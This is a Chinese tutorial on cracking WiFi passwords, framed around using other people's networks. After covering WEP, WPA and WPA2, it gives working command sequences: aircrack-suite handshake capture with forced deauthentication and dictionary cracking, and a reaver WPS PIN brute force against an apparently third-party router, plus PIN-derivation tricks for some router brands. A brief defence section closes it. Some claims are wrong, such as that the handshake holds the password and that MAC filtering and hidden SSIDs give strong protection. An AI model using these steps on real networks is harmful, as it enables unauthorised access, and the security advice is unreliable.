大家应该都有过这样的经历,就是感觉自己家的无线网怎么感觉好像变慢了,"是不是有人蹭我家网?""还有的时候咱们出门也想试图蹭一下别人家的网",这里"蹭网"的前提是要破解对方的"无线密码",那么这个"无线密码"到底是否安全呢?其技术原理是如何的呢? 我们又应该如何防范他人"蹭网"呢?
今天我们就以本篇文章内容给大家梳理一下"无线WiFi网络的密码破解攻防及原理"!
一、 WiFi的加密方式
这里以无线路由器的WiFi加密方式讲解。
目前无线路由器里带有的加密模式主要有:WEP,WPA-PSK(TKIP),WPA2-PSK(AES)和WPA-PSK(TKIP)+WPA2-PSK(AES)。
1. WEP(有线等效加密)(很容易被破解)
WEP是WiredEquivalentPrivacy的简称,802.11b标准里定义的一个用于无线局域网(WLAN)的安全性协议。WEP被用来提供和有线lan同级的安全性。LAN天生比WLAN安全,因为LAN的物理结构对其有所保护,部分或全部网络埋在建筑物里面也可以防止未授权的访问。经由无线电波的WLAN没有同样的物理结构,因此容易受到攻击、干扰。WEP的目标就是通过对无线电波里的数据加密提供安全性,如同端-端发送一样。WEP特性里使用了rsa数据安全性公司开发的rc4prng算法。如果你的无线基站支持MAC过滤,推荐你连同WEP一起使用这个特性(MAC过滤比加密安全得多)。尽管从名字上看似乎是一个针对有线网络的安全选项,其实并不是这样。
WEP标准在无线网络的早期已经创建,目标是成为无线局域网WLAN的必要的安全防护层,但是WEP的表现无疑令人非常失望。它的根源在于设计上存在缺陷。在使用WEP的系统中,在无线网络中传输的数据是使用一个随机产生的密钥来加密的。但是,WEP用来产生这些密钥的方法很快就被发现具有可预测性,这样对于潜在的入侵者来说,就可以很容易的截取和破解这些密钥。即使是一个中等技术水平的无线黑客也可以在两到三分钟内迅速的破解WEP加密。
IEEE802.11的动态有线等效保密(WEP)模式是二十世纪九十年代后期设计的,当时功能强大的加密技术作为有效的武器受到美国严格的出口限制。由于害怕强大的加密算法被破解,无线网络产品是被被禁止出口的。然而,仅仅两年以后,动态有线等效保密模式就被发现存在严重的缺点。但是二十世纪九十年代的错误不应该被当著无线网络安全或者IEEE802.11标准本身,无线网络产业不能等待电气电子工程师协会修订标准,因此他们推出了动态密钥完整性协议TKIP(动态有线等效保密的补丁版本)。
尽管WEP已经被证明是过时且低效的,但是今天在许多现代的无线访问点和无线路由器中,它依然被支持的加密模式。不仅如此,它依然是被个人或公司所使用的最多的加密方法之一。如果你正在使用WEP加密,如果你对你的网络的安全性非常重视的话,那么以后尽可能的不要再使用WEP,因为那真的不是很安全。
2. WPA-PSK(TKIP)(安全性较高,但是也可以被破解)
无线网络最初采用的安全机制是WEP(有线等效加密),但是后来发现WEP是很不安全的,802.11组织开始著手制定新的安全标准,也就是后来的802.11i协议。但是标准的制定到最后的发布需要较长的时间,而且考虑到消费者不会因为为了网络的安全性而放弃原来的无线设备,因此Wi-Fi联盟在标准推出之前,在802.11i草案的基础上,制定了一种称为WPA(Wi-FiProctedAccess)的安全机制,它使用TKIP(临时密钥完整性协议),它使用的加密算法还是WEP中使用的加密算法RC4,所以不需要修改原来无线设备的硬件,WPA针对WEP中存在的问题:IV过短、密钥管理过于简单、对消息完整性没有有效的保护,通过软件升级的方法提高网络的安全性。
WPA的出现给用户提供了一个完整的认证机制,AP根据用户的认证结果决定是否允许其接入无线网络中;认证成功后可以根据多种方式(传输数据包的多少、用户接入网络的时间等)动态地改变每个接入用户的加密密钥。另外,对用户在无线中传输的数据包进行MIC编码,确保用户数据不会被其他用户更改。作为802.11i标准的子集,WPA的核心就是IEEE802.1x和TKIP(TemporalKeyIntegrityProtocol)。
WPA考虑到不同的用户和不同的应用安全需要,例如:企业用户需要很高的安全保护(企业级),否则可能会泄露非常重要的商业机密;而家庭用户往往只是使用网络来浏览Internet、收发E-mail、打印和共享文件,这些用户对安全的要求相对较低。为了满足不同安全要求用户的需要,WPA中规定了两种应用模式:企业模式,家庭模式(包括小型办公室)。根据这两种不同的应用模式,WPA的认证也分别有两种不同的方式。
对于大型企业的应用,常采用"802.1x+EAP"的方式,用户提供认证所需的凭证。但对于一些中小型的企业网络或者家庭用户,WPA也提供一种简化的模式,它不需要专门的认证服务器。这种模式叫做"WPA预共享密钥(WPA-PSK)",它仅要求在每个WLAN节点(AP、无线路由器、网卡等)预先输入一个密钥即可实现。这个密钥仅仅用于认证过程,而不用于传输数据的加密。数据加密的密钥是在认证成功后动态生成,系统将保证"一户一密",不存在像WEP那样全网共享一个加密密钥的情形,因此大大地提高了系统的安全性。
3. WPA2-PSK(AES)(安全性较高,破解难度有所增加)
在802.11i颁布之后,Wi-Fi联盟推出了WPA2,它支持AES(高级加密算法),因此它需要新的硬件支持,它使用CCMP(计数器模式密码块链消息完整码协议)。在WPA/WPA2中,PTK的生成依赖PMK,而PMK获的有两种方式,一个是PSK的形式就是预共享密钥,在这种方式中PMK=PSK,而另一种方式中,需要认证服务器和站点进行协商来产生PMK。
IEEE802.11所制定的是技术性标准,Wi-Fi联盟所制定的是商业化标准,而Wi-Fi所制定的商业化标准基本上也都符合IEEE所制定的技术性标准。WPA(Wi-FiProtectedAccess)事实上就是由Wi-Fi联盟所制定的安全性标准,这个商业化标准存在的目的就是为了要支持IEEE802.11i这个以技术为导向的安全性标准。而WPA2其实就是WPA的第二个版本。WPA之所以会出现两个版本的原因就在于Wi-Fi联盟的商业化运作。
我们知道802.11i这个任务小组成立的目的就是为了打造一个更安全的无线局域网,所以在加密项目里规范了两个新的安全加密协定–TKIP与CCMP(有些无线网路设备中会以AES、AES-CCMP的字眼来取代CCMP)。其中TKIP虽然针对WEP的弱点作了重大的改良,但保留了RC4演算法和基本架构,言下之意,TKIP亦存在著RC4本身所隐含的弱点。因而802.11i再打造一个全新、安全性更强、更适合应用在无线局域网环境的加密协定-CCMP。所以在CCMP就绪之前,TKIP就已经完成了。但是要等到CCMP完成,再发布完整的IEEE802.11i标准,可能尚需一段时日,而Wi-Fi联盟为了要使得新的安全性标准能够尽快被布署,以消弭使用者对无线局域网安全性的疑虑,进而让无线局域网的市场可以迅速扩展开来,因而使用已经完成TKIP的IEEE802.11i第三版草案(IEEE802.11idraft3)为基准,制定了WPA。而于IEEE完成并公布IEEE802.11i无线局域网安全标准后,Wi-Fi联盟也随即公布了WPA第2版(WPA2)。WPA=IEEE802.11idraft3=IEEE802.1X/EAP+WEP(选择性项目)/TKIPWPA2=IEEE802.11i=IEEE802.1X/EAP+WEP(选择性项目)/TKIP/CCMP
4. 还有最后一种加密模式就是WPA-PSK(TKIP)+WPA2-PSK(AES)
这是目前无线路由里最高的加密模式,目前这种加密模式因为兼容性的问题,还没有被很多用户所使用。目前最广为使用的就是WPA-PSK(TKIP)和WPA2-PSK(AES)两种加密模式。相信在经过加密之后的无线网络,一定能够让我们的用户安心放心的上网冲浪。所以此种方式安全性很高但是考虑到兼容性问题,没有得到广泛使用。
二、针对WiFi网络的密码破解方法
1. 主流方法:
- 不需要技术的破解方法,利用手机端"WiFi万能钥匙"等软件蹭网。
- 在抓到客户端与目标WiFi的握手包后实施基于密码字典的暴力破解,成功率取决于目标WiFi的密码强度、字典的大小或准确度、实施爆破的机器运算性能。
- 在开启了wps功能的WiFi,使用pin码猜解的方法获得WiFi密码。
2. 原理:
WiFi万能钥匙"类App的真正原理是,收集用户手机上成功连接过的WiFi账号和密码,并上传、存储到App的服务器上,等到附近的蹭网者搜索到同一个网络时,该App就可以根据附近热点的配置信息,从服务器上自动匹配并取得相应的密码,通过数据流量发送到手机端,从而完成WiFi连网。
(1) 暴力破解的原理
普通的无线路由器,加密方法一般使用wpa 、wpa2或wep,wep因为太不安全极易被破解在现行的无线路由器上已基本取消。所以我们搜索到的待破WiFi基本都是wpa或wpa2加密的。至于使用认证服务器(如radius等)的wpa认证在个人无线WiFi领域基本不可能,所以通常我们能搜索到的待破WiFi都是基于本地密码的wpa或wpa2加密WiFi。
破解wpa和wpa2加密的WiFi网络的基本原理通俗来讲,我们需要先在无线网卡监听模式下搜集目标WiFi的信息,例如ssid(WiFi名称)、BSSID(也就是目标WiFi无线路由器的MAC)、已连接的客户端mac、信号强度等信息。然后发送伪造的取消关联的数据包迫使已连接到该WiFi的客户端与WiFi断开连接,重点是,断开连接后,客户端会重新尝试发起连接到该WiFi网络,这时客户端会发送一个带有认证密码的数据包以便请求重新连入WiFi,这个包俗称为握手包。这时我们的攻击机利用攻击程序和无线网卡监听抓取到这个握手包,这个握手包里就含有WiFi密码,但这个密码当然是经过加密的,所以后续就需要我们使用攻击程序调用密码字典结合获取到的BSSID、客户端MAC等信息进行运算,不断运算字典中的每一个密码,直到有一个密码使用wpa算法能算出一个与抓到的握手包中一致的加密字串,这个就是目标WiFi的密码了。如果把字典里的每一个密码都算过一遍仍然没有一个与抓取到的握手包加密字串一致的,就破解失败,退出,构造新的字典再试。
(2) pin码破解WiFi密码
在早期的无线路由器上开启了wps功能,这个功能简单来讲就是为了方便设备连接WiFi,不需要每次都繁琐的输入密码而设立的一个8位的纯数字字串,客户端可以通过pin码快速关联路由器WiFi。wps这个功能的设计初衷是方便用户连接WiFi,却成为破解WiFi最有效的手段,因为8位纯数字的pin码,最多只有1亿种可能的组合,而由于最后一位是前七位的校验和,所以只需要猜解前七位,猜解的可能组合数就只有一千万种了,又由于发送pin码连接WiFi,pin码前4位出错的返回报错内容和后三位错误的返回报错报文内容不同,所以只需要先猜前四位,前四位对了再猜后面三位,都对了以后最后一位校验和自动可算出来,所以实际最多只需要猜解10000+1000种组合,一般我们2秒种尝试一个pin码,那么理论上最多花费6个小时就一定可以猜解出目标路由器的pin码,进而获取到WiFi密码。
需要说明的是,尽管pin码破解WiFi被认为是最有效的WiFi破解手段,但在实际中不容易实现,一是因为pin码不安全的问题已广泛的被无线路由器的生产厂商所重视,所以现今购买的无线路由器基本都已经取消了这个wps功能。二是在pin的过程中需要不断的向目标路由器发送pin码进行尝试,对方路由器要返回响应报文,有时因路由器本身不稳定或路由器性能等问题,路由器不知不觉就被我们pin死了,使得猜解不能继续或路由器在接收到过多错误的pin码之后会自动休息一段时间,期间不接收pin码,这导致我们pin码猜解的时间过长而没有意义。
三、破解过程实例讲解
1. 准备工具
- 笔记本
- USB无线上网卡(必备)
- kali系统
- 密码字典
2. 第一种方法:暴力破解法
何为暴力破解呢,其实就是一个一个密码去试,直到正确的密码。
现在的wifi一般加密都是:
- WEP(有线等效加密)——采用WEP64位或者128位数据加密。
- WPA-PSK[TKIP]———采用预共享秘钥的WI-FI保护访问,采用WPA-PSK标准加密技术,加密类型为TKIP。
- WPA-PSK[TKIP]+WPA2-PSK[AES]———允许客户端使用WPA-PSK[TKIP]或者WPA2-PSK[AES]。
3. 开始实验:
(1) 第一步
进入kali在终端输入如下
- airmon-ng
列出网卡信息
(2) 第二步
输入:
- airmon-ng start wlan0
开启网卡监控
可以使用ifconfig命令查看一下网卡信息:
- ifconfig
可以看到网卡的名字已经变了
(3) 第三步
- airodump-ng wlan0mon
扫描wifi信号
这里我用自己家的wifi做实验
(4) 第四步
上图可以看出
BSSID是50:3A:A0:33:B2:8C 信道(CH)是:2
输入:
- airodump-ng -w freedom -c 2 -–bssid 50:3A:A0:33:B2:8C wlan0mon –ignore-negative-one
抓去握手包
- -c:指定信道
- -w:指定抓去握手包的存放位置或者名字,freedom是一会抓去的握手包的名字
- --bssid:指定路由器的MAC
(5) 第五步
再开一个终端输入命令:
- aireplay-ng – -deatu 10 -a 路由器MAC -c 客户机MAC
- wlan0mon – -ignore-negative-one
使用airplay-ng工具强制断开已经连接到wifi的设备重新连接路由器,来进行抓去数据包
- –deatu:指定发送反认证包的个数,也可以使用-0(阿利伯数字0)来指定反认证包的个数
- -a:指定路由器的MAC
- -c:指定客户机的MAC
(6) 第六步
破解握手包
- aircrack-ng -a -w dict freedom-*.cap
- -a1:指定WEP加密方式
- -a2:指定WPA-PSk加密方式
- dict:字典的名字
- freedom-*.cap:握手包
这个就是我的wifi密码
破解完成,成功与否靠强大的字典和运气了。
4. 第二种方法
(1) 第一步
Wash扫描开启WPS的网络
- wash -i wlan0mon [-C]
由于周围没有开启WPS功能的wifi,就会出现上图那样,这时不要急,因为有些隐藏了起来,我们直接来。
用前面那个扫wifi的命令:
- airodump-ng wlan0mon
看见小编圈起来的MAC没有,选择一个PWR的值的绝对值小于70的wifi破解
(2) 第二步
选择一个路由器
我在这选择的是名字为:FAST_F70E的wifi
就他了:E4:D3:32:7F:F7:0E -45 2 0 0 6 54e. WPA2 CCMP PSK FAST_F70E
然后命令如下:
- reaver -i mon0 -b E4:D3:32:7F:F7:0E -a -S -vv
E4:D3:32:7F:F7:0E 这个mac根据路由器的mac更改,我破解的wifi的mac是E4:D3:32:7F:F7:0E
如图上表示可以破解,开启了wps功能
出现上图这样,就表示不能破解换其他wifi破解吧孩子
这样就表示破解出来了
注意事项:
- 如果密码被改了你知道他wifi的pin码就用如下命令:reaver-i mon0 -b MAC -p PIN
- pin码有8位:所以就是10的8次方,要穷举1000000000次
- 这样pin也是有限制的,比如要被pin出的路由器必须得开启wps功能;貌似现在很多都是防pin路由器或300秒pin限制的。
- 有些路由pin码可以通过计算得到:腾达和磊科的产品如果路由MAC地址是以"C83A35"或"00B00C"打头那么可以直接计算出PIN值。
- 比如这个:bssid :Tenda_579A18 mac :C8:3A:35:57:9A:18 通过计算器将mac后6位换算成10进制数,得到5741080(pin码的前7位),最多试10次或通过软件得到该路由pin码!
破解时推荐这个命令:
- reaver -i mon0 -b E4:D3:32:7F:F7:0E -a -S –d9 –t9 -vv
因为–d9 –t9参数可以防止pin死路由器。
四、如何防止被蹭网
(1) 可以设置复杂密码,密码包含字符、符号和数字,长度设置到12位以上,越复杂的无线密码对方破解难度越大。加密方式选用WPA-PSK/WPA2-PSK加密方式。
(2) 隐藏自己的无线网络名称。
当我们隐藏无线认证之后,别人是无法找到我们的网络连接点,所以无法连接到我们的网络。点击路由器页面左上角的无线基本设置。在右侧可以看到有一个SSID服务广播。把前面的勾打掉,点击下面的保存。就可以隐藏无线信号
(3) 设置白名单,开启MAC地址过滤功能,手动把自己家里上网设备的MAC地址添加进来,这时即使有人破解了WIFI密码也无法上网。